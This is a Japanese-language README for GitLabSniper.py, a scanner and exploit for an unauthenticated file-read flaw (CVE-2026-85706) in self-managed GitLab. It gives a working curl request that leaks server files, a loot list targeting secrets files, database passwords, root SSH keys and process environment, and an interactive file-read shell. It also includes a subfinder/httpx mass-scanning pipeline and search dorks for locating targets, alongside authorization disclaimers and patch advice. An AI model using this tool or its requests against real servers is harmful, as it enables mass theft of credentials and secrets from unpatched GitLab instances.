
GitLab CE/EEのセルフマネージド環境における未認証の任意ファイル読み取り脆弱性CVE-2026-85706に対応した単一ファイルのPythonスキャナー兼エクスプロイト。プロジェクト列挙、lootパス、インタラクティブシェルを備える。
CVE-2026-85706 — GitLab CE/EE 未認証の任意ファイル読み取り
検出 · 公開プロジェクト列挙 · 回収 · 対話型シェル · subfinder/httpx パイプライン
Author: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Site: ynsmroztas.github.io
Mail: [email protected]
所有または明示的にテストを許可されたシステム(バグバウンティ / VDP / 書面契約)でのみ使用してください。
GitLabSniper.py は CVE-2026-85706 用の単一ファイル Python スキャナ/エクスプロイトです。これはセルフマネージドの GitLab Community Edition および Enterprise Edition における未認証のローカルファイル読み取りです。
「バージョンが影響を受けているように見える」で止まることはありません。Workhorse のパーサ差分バイパスを発火させ、Rails のレスポンスを分類し、400 ボディの invalid %-encoding (...) 内にファイルバイトが含まれている場合にのみ FILE LEAK を出力します。
| 区分 | バージョン |
|---|---|
| 影響あり | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| 修正済み | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| 対象外 | gitlab.com · GitLab Dedicated |
3 つのリポジトリエンドポイントが Workhorse の requestBodyUploader の背後にあります:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails は生の file.path フィールドを受け取り、authenticate! の前に File.open を実行します。ここでは require_gitlab_workhorse! は実際のゲートではありません。Workhorse はプロキシするすべてのものに有効な Gitlab-Workhorse-Api-Request JWT を既に付与しています。
Workhorse は本来、最初にアップロードを書き換えるはずでした。そのルート正規表現は EscapedPath() と、決してパーセントデコードしない path.Clean クローンにマッチします。Puma は Grape ルーティングの前に %XX をデコードします。
Attacker
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← 末尾スラッシュもすり抜ける
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse 正規表現は "%63ommits" / "commits/" を認識 → ミス (書き換えなし)
│
▼
Puma %63 をデコード → commits → Rails にルーティング
│
▼
Rails File.open(params[:file][:path]) → 認証の前
│
▼
Rack parse_nested_query(File.read(path))
%HH ではない孤立した "%"
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<生のファイルバイト>)
file= を空にすると requires :file, WorkhorseFile を満たします (空 → nil)。リークチャネルは urlencoded ブランチです。JSON/Oj は同じようにはファイルバイトをエコーしません — ツールは常に Content-Type=application/x-www-form-urlencoded を送信します。
//、/./、%2F、; はバイパスしません: path.Clean は最初の 2 つを正規化し、Puma は %2F を拒否します。
プロジェクト id は「どのリポジトリからファイルを盗むか」ではありません。file.path はサーバーの絶対パスです。id は脆弱なコントローラに到達するための URL の一部にすぎません。
これが、ツールが GET /api/v4/projects を列挙し、ゲートされた id をスキップする理由です。
リークの確認にはボディに次の部分文字列が必要です:
invalid %-encoding (
孤立した % を含まないファイルは開かれる可能性がありますが (read-noecho / 後の branch is required)、エコーされません。これはオラクルであり、報告可能なダンプではありません。
x-gitlab-* / sign-in) + 可視の場合のバージョン範囲GET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · pip install requests
python3 GitLabSniper.py -h
Python 3.10+。他の依存関係はありません。
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin が TTY でない → --pipe が暗黙的に有効
cat hosts.txt | python3 GitLabSniper.py --auto
パーサは次を受け付けます:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json オブジェクト (url / status_code)host および host:port[0] / タイムアウト / 空行をスキップ終了コード: 0 リーク · 1 オラクルのみ / パイプ内でリークなし · 2 使用可能なシグナルなし。
read-noecho だけに基づいて critical を報告しないでください。
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ
エコーされた場合の影響が最大: secrets.yml、gitlab-secrets.json、database.yml (secret_key_base、otp_key_base、DB パスワード)。
curl -sk -X POST \
"https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
脆弱なインスタンスは次のような JSON を返します:
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}
一部のホストでは %63ommits は 401 で、/repository/commits/ (末尾スラッシュ) がリークするフォームです。ツールはすべてのバリアントを試します。
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"
subfinder | httpx | GitLabSniper.py --pipe --auto と組み合わせてください。
このリポジトリは、許可されたセキュリティテストおよびパッチ適用後の防御的検証のためのものです。スコープについてはあなたが責任を負います。
影響範囲内のセルフマネージド GitLab を運用している場合: 直ちに 19.1.8 / 19.2.6 / 19.3.2 にアップグレードしてください。file.path クエリパラメータを伴う POST /api/v4/projects/*/repository/commits についてアクセスログを調査してください。
脆弱性は s3ntago により GitLab HackerOne を通じて報告されました。
このツールの基盤となった write-up とオリジナル PoC:
https://github.com/guneykabel/cve-2026-85706
明確な分類器 (leak / missing / project-gate / rewrite) と Workhorse ↔ Puma の差分の説明を公開してくれた guneykabel に感謝します。GitLabSniper はそのモデルをプロジェクト列挙、回収、シェル、偵察パイプラインでラップしています。
GitLab アドバイザリ / パッチ: CE/EE 19.1.8、19.2.6、19.3.2。
Yunus Emre Öztaş · mitsec
[email protected]| エンドポイント | プロジェクト要件 |
|---|
files (%66iles) | 任意の id がしばしば機能する — File.open はプロジェクトチェックの前 |
commits (%63ommits, commits/, commits.json) | 匿名ユーザーが read_code できるプロジェクトが必要。そうでなければ 404 Project Not Found |
noroute--auto 回収リスト (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, ssh 鍵, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title、httpx -json、ANSI 除去-o)| フラグ | 意味 |
|---|
-u / -t / --target | 単一のベース URL |
--pipe | stdin からターゲットを読み取る |
-f / --list | ホストのファイル |
--file | 読み取る 1 つの絶対パス |
--auto / --loot | 高価値な GitLab ファイルリスト |
--shell | 対話型ファイル読み取りシェル |
--project-id | プロジェクト id を強制 (デフォルト: 列挙 + フォールバック) |
--max-projects | 列挙/フォールバック id の上限 (デフォルト 8) |
--force | フィンガープリントが弱くてもスキャン |
--threads | パイプラインのワーカー数 (デフォルト 8) |
--timeout | 秒 (デフォルト 15) |
-o | hits.json または hits.jsonl |
-q | 静か |
--no-banner | バナーなし |
| タグ | 意味 | 報告? |
|---|
leak | invalid %-encoding ( + ファイルバイト | はい — 確認済み |
leak-fragment | 部分的なエコー | おそらく、ボディを添付 |
read-noecho | open 後の 401 / branch is required、ファイルに % なし | オラクルのみ |
missing | local file not present — バイパスがディスクに到達 | 存在オラクル |
project-gate | 404 Project Not Found | 別の公開 id を試す |
rewrite | Workhorse がボディを書き換えた (Invalid json) | このフォームは死んでいる |
noroute | 単なる 404 | 修正済みまたは誤ったパス |
other | 500 / 残り | 主張する前にボディをダンプ |